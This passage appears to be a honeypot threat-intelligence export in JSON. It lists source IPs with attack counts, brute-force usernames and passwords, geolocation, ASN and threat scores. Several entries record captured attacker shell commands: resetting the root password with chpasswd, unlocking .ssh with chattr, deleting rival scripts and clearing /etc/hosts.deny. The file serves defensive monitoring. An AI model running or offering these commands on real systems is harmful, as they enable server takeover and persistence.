      "reputation_metrics": {
        "total_events_30d": 277,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T09:58:09.304000+00:00",
        "last_seen_30d": "2026-05-22T20:28:52.676000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 182,
        "Suricata": 95
      }
    },
    "165.154.105.128": {
      "attack_count": 180,
      "first_seen": "2026-05-31T07:39:51.143Z",
      "last_seen": "2026-05-31T08:10:27.047Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "dixi",
        "intell"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "09N1RCa1Hs31",
        "123",
        "345gs5662d34",
        "A1q2w3e4r",
        "Aw123456",
        "Qwer@1234",
        "Server1214!",
        "debian",
        "zxcv1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:4DfzELEFi5Kr\"|chpasswd|bash",
        "echo \"root:KBKy00Pg6IPR\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 36.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 213,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T07:39:51.143000+00:00",
        "last_seen_30d": "2026-05-31T08:14:06.955000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 180,
        "Suricata": 33
      }
    },
    "118.248.168.192": {
      "attack_count": 176,
      "first_seen": "2026-05-19T07:42:14.322Z",
      "last_seen": "2026-05-19T17:49:33.429Z",
      "sessions": 88,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Changsha",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 276,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T07:42:14.322000+00:00",
        "last_seen_30d": "2026-05-19T17:50:38.165000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 176,
        "Suricata": 100
      }
    },
    "62.210.199.83": {
      "attack_count": 162,
      "first_seen": "2026-05-08T08:38:05.251Z",
      "last_seen": "2026-05-31T05:57:17.198Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 12876,
      "as_org": "Scaleway SAS",
      "threat_score": 54.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.8,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 189,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T08:38:05.251000+00:00",
        "last_seen_30d": "2026-05-31T05:58:21.288000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 108,
        "Suricata": 81
      }
    },
    "45.148.146.52": {
      "attack_count": 150,
      "first_seen": "2026-05-08T04:57:43.249Z",
      "last_seen": "2026-05-31T20:01:50.272Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "British Virgin Islands",
      "country_code": "VG",
      "city": null,
      "asn": 208949,
      "as_org": "Hbing Limited",
      "threat_score": 54.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.5,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 176,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T04:57:43.249000+00:00",
        "last_seen_30d": "2026-05-31T20:02:51.181000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 100,
        "Suricata": 76
      }
    },
    "186.122.177.140": {
      "attack_count": 144,
      "first_seen": "2026-05-23T18:15:41.379Z",
      "last_seen": "2026-05-23T19:19:18.632Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "sc",
        "345gs5662d34",
        "lucas",
        "luis",
        "meng",
        "tempuser",
        "ubuntu"
      ],
      "passwords_attempted": [
        "12345678",
        "!@#qweASDzxc",
        "112233",
        "123456",
        "123456789Abc",
        "123456xx",
        "123qweasd!@#",
        "1qaz@WSX2025",
        "3245gs5662d34",
        "345gs5662d34",
        "A123456@",
        "Asdf1234",
        "Dev@2025",
        "Lj123456",
        "Zd123456",
        "sc123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"sc123\\n4XVxQXKvNTSr\\n4XVxQXKvNTSr\\n\"|passwd",
        "echo -e \"sc123\\n4XVxQXKvNTSr\\n4XVxQXKvNTSr\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": null,
      "asn": 11664,
      "as_org": "Techtel LMDS Comunicaciones Interactivas S.A.",
      "threat_score": 26.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 187,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T18:15:41.379000+00:00",
        "last_seen_30d": "2026-05-23T19:20:23.888000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 43
      }
    },
    "187.170.223.76": {
      "attack_count": 144,
      "first_seen": "2026-05-23T14:32:02.575Z",
      "last_seen": "2026-05-23T16:01:50.053Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test",
        "vpn",
        "345gs5662d34",
        "7days",
        "gao",
        "myuser",
        "operador",
        "ubuntu",
        "user1",
        "utente"
      ],
      "passwords_attempted": [
        "123456",
        "12345678",
        "123456789",
        "3245gs5662d34",
        "345gs5662d34",
        "5201314..",
        "7days",
        "Manager@123",
        "Root12345!",
        "admin123",
        "hello",
        "myuser",
        "operador",
        "password123",
        "test",
        "test123!",
        "zx123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456789\\nogsWnIrPqz14\\nogsWnIrPqz14\\n\"|passwd",
        "echo -e \"123456789\\nogsWnIrPqz14\\nogsWnIrPqz14\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Miguel Hidalgo",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 26.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 193,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T14:32:02.575000+00:00",
        "last_seen_30d": "2026-05-23T16:02:52.609000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 49
      }
    },
    "37.59.115.172": {
      "attack_count": 132,
      "first_seen": "2026-05-05T03:40:38.728Z",
      "last_seen": "2026-05-29T02:09:56.838Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 51.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.9,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 155,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T03:40:38.728000+00:00",
        "last_seen_30d": "2026-05-29T02:11:04.546000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 88,
        "Suricata": 67
      }
    },
    "34.40.145.110": {
      "attack_count": 121,
      "first_seen": "2026-05-26T20:24:58.980Z",
      "last_seen": "2026-05-26T20:55:23.204Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "x",
        "devuser",
        "frappe",
        "gopal",
        "mcserver",
        "systemd",
        "testuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123456",
        "123@Admin",
        "123qweASD!",
        "1q2w3e4r5T",
        "Admin007",
        "P@ssw0rd01!",
        "P@ssw0rd123#",
        "P@ssw0rd1234",
        "Voidsetdownload.so",
        "changeit",
        "fjbdfdjkdsfs541544AA@@",
        "frappe@123",
        "gopal",
        "password123",
        "testuser1",
        "wocaonima"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 29.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 169,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T20:24:58.980000+00:00",
        "last_seen_30d": "2026-05-26T20:56:24.835000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 121,
        "Suricata": 48
      }
    },
    "193.30.14.161": {
      "attack_count": 118,
      "first_seen": "2026-05-30T04:20:31.614Z",
      "last_seen": "2026-05-30T04:42:09.989Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ronald"
      ],
      "passwords_attempted": [
        "123123123",
        "123456@abc",
        "1qaz2wsx!QAZ@WSX",
        "1qaz@wsx",
        "3245gs5662d34",
        "345gs5662d34",
        "88888888",
        "Aa@123456",
        "Admin123!",
        "Qqqq1111",
        "asu",
        "ronald123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:E2Xhd3Is1bV1\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Ecuador",
      "country_code": "EC",
      "city": "Manta",
      "asn": 263238,
      "as_org": "Eliana Vanessa Morocho Ona",
      "threat_score": 33.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T04:20:31.614000+00:00",
        "last_seen_30d": "2026-05-30T04:43:16.194000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 28
      }
    },
    "123.165.80.140": {
      "attack_count": 112,
      "first_seen": "2026-05-19T11:33:44.098Z",
      "last_seen": "2026-05-19T17:56:07.492Z",
      "sessions": 56,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 173,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T11:33:44.098000+00:00",
        "last_seen_30d": "2026-05-19T17:57:17.298000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 112,
        "Suricata": 61
      }
    },
    "116.208.19.42": {
      "attack_count": 102,
      "first_seen": "2026-05-19T07:02:22.856Z",
      "last_seen": "2026-05-19T13:47:29.570Z",
      "sessions": 51,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 20.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 157,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T07:02:22.856000+00:00",
        "last_seen_30d": "2026-05-19T13:48:32.196000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 102,
        "Suricata": 55
      }
    },
    "157.245.98.239": {
      "attack_count": 96,
      "first_seen": "2026-05-19T04:24:40.768Z",
      "last_seen": "2026-05-19T22:32:28.213Z",
      "sessions": 48,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 188,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T04:24:40.768000+00:00",
        "last_seen_30d": "2026-05-19T22:33:28.404000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 96,
        "Suricata": 92
      }
    },
    "27.21.30.66": {
      "attack_count": 82,
      "first_seen": "2026-05-18T21:57:13.883Z",
      "last_seen": "2026-05-19T01:34:25.329Z",
      "sessions": 41,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 20.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 125,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T21:57:13.883000+00:00",
        "last_seen_30d": "2026-05-19T01:35:35.043000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 82,
        "Suricata": 43
      }
    },
    "60.199.224.55": {
      "attack_count": 70,
      "first_seen": "2026-05-14T21:15:48.456Z",
      "last_seen": "2026-05-29T21:52:51.991Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "345gs5662d34",
        "guest",
        "postgres",
        "ubuntu",
        "user6"
      ],
      "passwords_attempted": [
        "1",
        "123",
        "1234",
        "123qwe123QWE",
        "2glehe5t24th1issZs",
        "3245gs5662d34",
        "345gs5662d34",
        "Qweasd123.",
        "Qwer!234",
        "azerty123",
        "proxmox",
        "user6"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 9924,
      "as_org": "Taiwan Fixed Network, Telco and Network Service Provider.",
      "threat_score": 42.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.0,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 100,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T21:15:48.456000+00:00",
        "last_seen_30d": "2026-05-29T21:53:57.702000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 70,
        "Suricata": 30
      }
    },
    "86.111.187.163": {
      "attack_count": 66,
      "first_seen": "2026-05-12T15:00:21.296Z",
      "last_seen": "2026-05-31T06:57:06.920Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 33182,
      "as_org": "HostDime.com, Inc.",
      "threat_score": 47.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.9,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 77,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T15:00:21.296000+00:00",
        "last_seen_30d": "2026-05-31T06:58:15.450000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 33
      }
    },
    "45.77.237.113": {
      "attack_count": 54,
      "first_seen": "2026-05-09T00:23:07.895Z",
      "last_seen": "2026-05-15T16:23:41.720Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 20473,
      "as_org": "The Constant Company, LLC",
      "threat_score": 16.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.0,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T00:23:07.895000+00:00",
        "last_seen_30d": "2026-05-15T16:24:44.960000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 27
      }
    },
    "175.107.205.31": {
      "attack_count": 52,
      "first_seen": "2026-05-13T08:35:54.853Z",
      "last_seen": "2026-05-21T22:46:57.267Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 25.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.0,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 80,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T08:35:54.853000+00:00",
        "last_seen_30d": "2026-05-21T22:47:58.331000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 52,
        "Suricata": 28
      }
    },
    "154.6.60.236": {
      "attack_count": 42,
      "first_seen": "2026-05-04T19:27:01.439Z",
      "last_seen": "2026-05-11T07:32:08.690Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Warsaw",
      "asn": 215224,
      "as_org": "NovoServe B.V.",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.9,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T19:27:01.439000+00:00",
        "last_seen_30d": "2026-05-11T07:33:11.807000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 21
      }
    },
    "138.68.4.170": {
      "attack_count": 36,
      "first_seen": "2026-05-12T06:33:00.003Z",
      "last_seen": "2026-05-31T14:14:10.211Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 44.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.2,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T06:33:00.003000+00:00",
        "last_seen_30d": "2026-05-31T14:15:15.731000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 18
      }
    },
    "103.68.42.69": {
      "attack_count": 26,
      "first_seen": "2026-05-16T05:28:28.626Z",
      "last_seen": "2026-05-16T05:31:17.082Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Jaipur",
      "asn": 135259,
      "as_org": "SKYLINE INFONET PRIVATE LIMITED",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T05:28:28.626000+00:00",
        "last_seen_30d": "2026-05-16T05:32:26.859000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 26,
        "Suricata": 14
      }
    },
    "45.142.154.42": {
      "attack_count": 22,
      "first_seen": "2026-05-12T12:40:01.245Z",
      "last_seen": "2026-05-12T12:40:32.623Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "Accept: */*",
        "GET / HTTP/1.1"
      ],
      "passwords_attempted": [
        "",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9465,
      "as_org": "AGOTOZ PTE. LTD.",
      "threat_score": 45.3,
      "threat_level": "medium",
      "score_components": {
